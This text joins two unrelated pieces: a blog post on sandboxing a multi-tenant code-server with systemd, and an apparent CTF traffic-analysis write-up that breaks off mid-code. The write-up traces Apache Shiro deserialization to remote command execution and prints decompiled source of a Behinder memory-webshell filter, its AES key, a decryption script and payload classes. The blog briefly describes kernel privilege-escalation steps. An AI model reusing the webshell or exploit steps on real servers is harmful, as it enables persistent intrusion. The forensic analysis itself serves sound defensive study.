Leveraging systemd Features to Build a Multi-tenant CodeServer
Analysis The motivation came from a university Python course – I didn't want to bring my heavy laptop to every class, so I tried to see if a tablet could do the job. After some searching, I found coder/code-server: VS Code in the browser which fit the requirements perfectly while also being cross-platform. I deployed it for myself, but later my friends also wanted access. That got me thinking about how to support multi-tenancy and security simultaneously. Initially I considered containerization, but because of the need to install new pip packages, containers would have been tricky – I would have had to persist Python site-packages and everything, and performance would suffer. So I decided to stick with a binary deployment. The requirements are simple, roughly summarized as follows: Each user can log into CodeServer using their own domain name. Each user can change their own login password. Each user's Python environment is completely isolated and can independently install pip packages. Users should not be able to access each other's files. Prevent users from accidentally deleting critical system components. Prevent users from accidentally writing infinite loops or similar that exhaust server resources. Prevent users from using the server for cryptocurrency mining or as a jump box for attacks. After analysis and discussions with AI, the final solution is roughly as follows: Use Linux's native multi-user mechanism – each user runs a CodeServer under their own home directory for basic isolation. This easily satisfies requirements 1, 4 and 5. Listening ports are calculated based on UID. Create a venv manually for each user and activate it automatically via .bashrc to satisfy requirement 3. Use systemd's restrictions to limit process behavior, achieving requirements 6–7 to a certain extent. Use systemd's path mechanism to monitor $HOME/.config/code-server/config.yaml and automatically restart the daemon, allowing users to change their login password by modifying the configuration file – a relatively elegant way to achieve requirement 2. For requirement 7, given the computer literacy level of first-year students, I'm not too worried (I hope?). I didn't cut off network access completely because some requirements need internet to download packages, or might involve web scraping. systemd's restrictions should already block most malicious operations. This article does not cover SELinux, because in my opinion SELinux would be over-engineering for these requirements, and I'm not very familiar with SELinux/SEPolicy (that's the main reason lol). I also wanted to avoid imposing restrictions that hinder legitimate usage, so SELinux is not used. Deployment Configuring systemd Download the CodeServer binary and upload it to the server – for example, I put it at /usr/bin/code-server. Then write the systemd service file, create /etc/systemd/system/code-server@.service: # /etc/systemd/system/code-server@.service [Unit] Description=Code-Server for %i After=network.target [Service] Type=simple User=%i Group=%i WorkingDirectory=/home/%i MemoryMax=1G CPUQuota=150% TasksMax=200 IOWeight=50 ProtectSystem=strict PrivateTmp=yes PrivateDevices=yes NoNewPrivileges=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX # ExecStart=/bin/bash -c "PASSWORD=$(echo -n "%i" | md5sum | cut -d' ' -f1) /usr/bin/code-server --bind-addr 0.0.0.0:$((7000 + $(id -u %i))) --auth password" ExecStart=/bin/bash -c ' \ PORT=$((7000 + $(id -u %i) %% 10000)); \ /usr/bin/code-server --bind-addr 0.0.0.0:$PORT; \ ' Restart=always RestartSec=5 [Install] WantedBy=multi-user.target The filename is code-server@.service; the part after @ is substituted for %i. The design passes the username via %i, calculates the port, and starts automatically. The port calculation logic is 7000+uid%10000. Typically UIDs start from 1000, so ports start from 8000 in order of user creation. Note this part of the configuration: MemoryMax=1G CPUQuota=150% TasksMax=200 IOWeight=50 ProtectSystem=strict PrivateTmp=yes PrivateDevices=yes NoNewPrivileges=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX (I'll let AI explain it) It mainly covers two aspects: Resource Control and Security & Sandboxing. I. Resource Control This uses Linux's cgroups mechanism to prevent the service from consuming excessive system resources and affecting other programs. MemoryMax=1G Effect: Limits the service to a maximum of 1GB of memory. Outcome: If the service tries to use more than 1GB, the system (OOM Killer) will forcibly kill the process to protect the system. CPUQuota=150% Effect: Limits the service to at most 150% CPU usage. Outcome: 100% represents one full CPU core. 150% means the service can saturate one core and use half of a second core (i.e., up to 1.5 CPU cores' worth of compute). TasksMax=200 Effect: Limits the service to a maximum of 200 tasks (processes or threads). Outcome: Prevents the service from creating unlimited child processes due to bugs or infinite loops (e.g., fork bomb), which could exhaust system PID resources and crash the system. IOWeight=50 Effect: Sets the disk I/O priority weight. The default is usually 100. Outcome: A value of 50 means when system I/O is busy, this service gets lower priority for disk read/write resources compared to default services, preventing it from choking the whole system when doing heavy file I/O. II. Security & Isolation This uses Linux namespaces and other kernel security mechanisms to "cage" the service, minimizing damage even if the service is compromised. ProtectSystem=strict Effect: Strictly protects system files. Outcome: The entire operating system's filesystem (the root / and everything under it, except special API directories like /dev, /proc, /sys) is made read-only for this service. The service cannot modify, overwrite, or delete any critical system files. PrivateTmp=yes Effect: Provides an independent temporary directory for the service. Outcome: The service sees its own private /tmp and /var/tmp directories. It cannot see or modify files placed in the global /tmp by other users/services, and vice versa. This effectively prevents symlink attacks or data leaks based on temporary files. PrivateDevices=yes Effect: Isolates physical devices. Outcome: Mounts a private /dev directory for the service, containing only pseudo-devices (e.g., /dev/null, /dev/zero, /dev/urandom). The service cannot see real physical hardware devices (like /dev/sda, USB devices), completely eliminating the possibility of directly reading/writing block devices. NoNewPrivileges=yes Effect: Prevents privilege escalation. Outcome: Ensures that the service and all its child processes, no matter what, cannot gain new system privileges. Even if the service invokes a program with the SUID bit (e.g., sudo or su), it cannot escalate to root privileges. RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX Effect: Restricts the socket address families the service can use. Outcome: The service can only use: AF_INET: IPv4 network communication AF_INET6: IPv6 network communication AF_UNIX: local UNIX domain sockets (for local IPC) Any other address families (e.g., low-level packet capture AF_PACKET, Bluetooth AF_BLUETOOTH, etc.) are blocked by the kernel. This greatly reduces the network attack surface. When creating a new user, just run: adduser <username> systemctl enable --now code-server@<username> to simultaneously create the corresponding CodeServer service. Configuring password change auto-restart Create /etc/systemd/system/code-server-restart@.path: # /etc/systemd/system/code-server-restart@.path [Unit] Description=Monitor code-server config change for %i After=network.target [Path] PathChanged=/home/%i/.config/code-server/config.yaml [Install] WantedBy=multi-user.target Create /etc/systemd/system/code-server-restart@.service: [Unit] Description=Triggered safe restart for %i [Service] Type=oneshot User=root ExecStart=/usr/local/bin/safe-restart-codeserver.sh %i [Install] WantedBy=multi-user.target The logic works like this: Step 1: Start monitoring (handled by the .path file) The system or administrator starts code-server-restart@yms.path. systemd parses the .path file, replacing %i with yms. PathChanged=/home/yms/.config/code-server/config.yaml: systemd starts quietly listening (using the inotify mechanism) for changes to this specific config.yaml file at the kernel level. Step 2: Detect change and trigger The user modifies settings in the CodeServer web interface, or edits config.yaml via the command line and saves. PathChanged detects that the file has been modified and closed (ensuring the write is complete and avoiding reading half-written dirty data). Implicit binding: Because the .path file does not explicitly specify a service to trigger using Unit=, systemd's default behavior is to trigger the .service file with the same name (without the suffix). systemd then automatically starts code-server-restart@yms.service. Step 3: Execute the action (handled by the .service file) systemd executes code-server-restart@yms.service. Again, %i is replaced with yms. Type=oneshot: Tells the system this is not a long-running daemon but a one-shot task. It exits when done. User=root: The restart operation requires higher privileges, so it's forced to run as root. ExecStart=/usr/local/bin/safe-restart-codeserver.sh <user>: This is the final step in the logic. The system runs the custom shell script as root, passing the username as an argument. We don't restart the main daemon directly inside the restart service because CodeServer auto-saves on every edit. There's a risk that during password changes, a half-edited file might trigger a restart, causing incomplete writes. So we write a script that waits until the file is stable before triggering the restart: /usr/local/bin/safe-restart-codeserver.sh #!/bin/bash USER_NAME=$1 CONFIG_FILE="/home/$USER_NAME/.config/code-server/config.yaml" STAMP_FILE="/tmp/code-server-restart-${USER_NAME}.stamp" # 1. Intercept: if stamp file exists and config file is older (or same age) than stamp, # this trigger is a leftover queued event from systemd – exit if [ -f "$STAMP_FILE" ] && [ "$CONFIG_FILE" -ot "$STAMP_FILE" ]; then echo "Config hasn't changed since last restart, exiting." exit 0 fi # 2. Debounce wait logic (unchanged) while true; do last_md5=$(md5sum "$CONFIG_FILE") sleep 5 current_md5=$(md5sum "$CONFIG_FILE") if [ "$last_md5" == "$current_md5" ]; then # File is stable, perform restart systemctl restart code-server@$USER_NAME # 3. After successful restart, update the stamp file's mtime touch "$STAMP_FILE" break else echo "Config file for $USER_NAME is still changing, waiting..." fi done The timestamp mechanism prevents multiple pointless restarts. If the config file's last edit time is earlier than the last restart time, the restart is rejected. After writing the files, enable the trigger: systemctl enable --now code-server-restart@<username>.path (note it's .path, not .service). Then try slowly editing the password in the config file via the web interface, and check the logs for something like: ○ code-server-restart@lyr.service - Triggered safe restart for lyr Loaded: loaded (/etc/systemd/system/code-server-restart@.service; disabled; preset: enabled) Active: inactive (dead) since Sat 2026-06-06 06:43:55 UTC; 29s ago Invocation: 0bd37fcb6ea44a58870c06b4fde5300c TriggeredBy: ● code-server-restart@lyr.path Process: 6997 ExecStart=/usr/local/bin/safe-restart-codeserver.sh lyr (code=exited, status=0/SUCCESS) Main PID: 6997 (code=exited, status=0/SUCCESS) Mem peak: 2.5M CPU: 43ms Jun 06 06:43:40 CodeServer systemd[1]: Starting code-server-restart@lyr.service - Triggered safe restart for lyr... Jun 06 06:43:45 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting... Jun 06 06:43:50 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting... Jun 06 06:43:55 CodeServer systemd[1]: code-server-restart@lyr.service: Deactivated successfully. Jun 06 06:43:55 CodeServer systemd[1]: Finished code-server-restart@lyr.service - Triggered safe restart for lyr. After editing stops for 5 seconds, CodeServer will restart, and the new password can be used to log in. Configuring Python venv First, install Python3 on the system (no need to elaborate – use the package manager). Also install python3-venv: apt install python3-venv Then, enter the user's home directory. I chose to create a folder named .venv for the virtual environment. Inside .venv, run python3 -m venv myvenv to create a virtual environment named myvenv, and append the following line to the user's .bashrc: fi fi +source ~/.venv/myvenv/bin/activate After that, the venv is automatically activated when the shell starts. Installing the Python extension in CodeServer and pointing it to the venv I won't go into detail here – just install the Python and debugger extensions in the CodeServer web interface, and set the Python interpreter to the one under the venv. Postscript I actually set this up a long time ago but never wrote about it. At that time, vulnerabilities like CopyFail and DirtyFrag hadn't been disclosed yet. When they were disclosed, I tested them immediately and found that this systemd configuration happened to block them all. A rough analysis follows: CopyFail uses a special socket type: AF_ALG. Our systemd configuration only allows AF_INET AF_INET6 AF_UNIX, so CopyFail cannot escalate privileges. Similarly for DirtyFrag – it uses AF_NETLINK, AF_RXRPC, and AF_ALG, all of which are blocked. Also, NoNewPrivileges=yes acts as a final line of defense. The ultimate goal of those exploits is to tamper with /usr/bin/su to inject malicious ELF shellcode, or modify /etc/passwd to clear the root password, then invoke the setuid su command to gain root privileges. With NoNewPrivileges set, the process and all its descendants can absolutely never gain higher privileges through the setuid or setgid flags of any file. Even if a future vulnerability finds a way to bypass the network restrictions and successfully replace /usr/bin/su with a malicious shell, executing su would still spawn a low-privilege shell – privilege escalation becomes impossible. This article does not cover SELinux, because the current solution is acceptably simplified for the scenario of "friends sharing, non-production critical", avoiding the risk of misconfiguration causing functional issues and operational complexity. In reality, systemd's sandboxing options are primarily based on namespaces and cgroups, and cannot fully replace mandatory access control (like SELinux or AppArmor). For higher security requirements for tenant isolation (e.g., preventing kernel escape vulnerabilities among untrusted users), SELinux/AppArmor is still the mainstream choice. Of course, this solution has other limitations. For example, when there are many users or special UID allocation requirements that exceed 10000, the port calculation logic may fail. For legitimate needs like scientific computing, the current restrictions may be too strict. This article is only intended as a discussion and reference. Random thoughts: In the age of containerization and cloud-native, traditional systemd still has many interesting features worth exploring that can accomplish a lot… Reference: systemd.git - A fork of systemd to make components more independant
2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp
Layer 1: Apache Shiro CVE-2016-4437 Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests: _ws.col.protocol == "HTTP" It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing. Filtering all POST requests: http.request.method == "POST" HTTP stream 5009 contained a POST to /. Opening it revealed: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... And a series of similar requests. Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... The server responded: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently: GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... Server response: HTTP/1.1 200 ... $$$cm9vdAo=$$$ Decoding cm9vdAo= yields root. Decoding the Authorization header value d2hvYW1p yields whoami, confirming RCE was achieved. Subsequent commands were executed, returning: pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Nothing particularly useful was found. Subsequently, a request was sent: POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D The server responded: HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- No further similar packets were observed, indicating a webshell was likely implanted. Layer 2: Behinder WebShell Memory-Shell Direct Base64 decoding of the user parameter from the above POST request revealed a Java class starting with CAFEBABE. Exporting and attempting to open it with Jadx yielded: {collapse} {collapse-item label="Code - Click to show"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request; public HttpServletResponse response; public String cs; public String Pwd; public String path; public BehinderFilter() { this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public BehinderFilter(ClassLoader c) { super(c); this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } public static String md5(String s) throws NoSuchAlgorithmException { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { } return ret; } public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException { parseObj(obj); this.Pwd = md5(this.request.getHeader("p")); this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer(); try { this.response.setContentType("text/html"); this.request.setCharacterEncoding(this.cs); this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this.response.getWriter().print("->|" + output.toString() + "|<-"); this.response.getWriter().flush(); this.response.getWriter().close(); return true; } catch (Exception e) { return true; } } public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException { if (obj.getClass().isArray()) { Object[] data = (Object[]) obj; this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; return; } try { Class clazz = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj; try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true); this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } } public String addFilter() throws Exception { Class filterMap; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null; try { try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED); try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]); for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED); return "Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED); return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED); throw th; } } return "Filter already exists"; } /* JADX WARN: Multi-variable type inference failed */ public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException { HttpSession session = ((HttpServletRequest) req).getSession(); ServletRequest servletRequestInvoke = req; ServletResponse servletResponseInvoke = resp; if (!(servletRequestInvoke instanceof RequestFacade)) { try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]); servletRequestInvoke = getRequest.invoke(this.request, new Object[0]); while (!(servletRequestInvoke instanceof RequestFacade)) { servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]); } } catch (Exception e) { } } try { if (!(servletResponseInvoke instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]); servletResponseInvoke = getResponse.invoke(this.response, new Object[0]); while (!(servletResponseInvoke instanceof ResponseFacade)) { servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", servletRequestInvoke); obj.put("response", servletResponseInvoke); obj.put("session", session); try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES")); new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() { } } {/collapse-item} {/collapse} This revealed a Behinder webshell. Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains p, it takes the MD5 hash of the p value and uses the first 16 characters as the AES key. Based on the earlier request, p: HWmc2TLDoihdlr0N, its MD5 hash is 1f2c8075acd3d118674e99f8e61b9596. The first 16 characters, 1f2c8075acd3d118, are the AES password. It also set /favicondemo.ico as the C2 communication address, confirming that the POST data observed at this URL were the communication records. Next, examining the previously identified POST packets, HTTP stream 40552 contained a large number of exchanges. A Python script was written to decrypt the first request payload using the key 1f2c8075acd3d118: import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # Remove PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) The output started with CAFEBABE, the Java class file header. Opening it with Jadx: {collapse} {collapse-item label="Code - Click to show"} package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} It simply returned the data string 1oMRO2dvZFDzLDMX8h...mqNGvJnB3v and base64 encoded it. Decoding the response confirmed this. Continuing to decrypt and reverse the second request: {collapse} {collapse-item label="Code - Click to show"} package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] 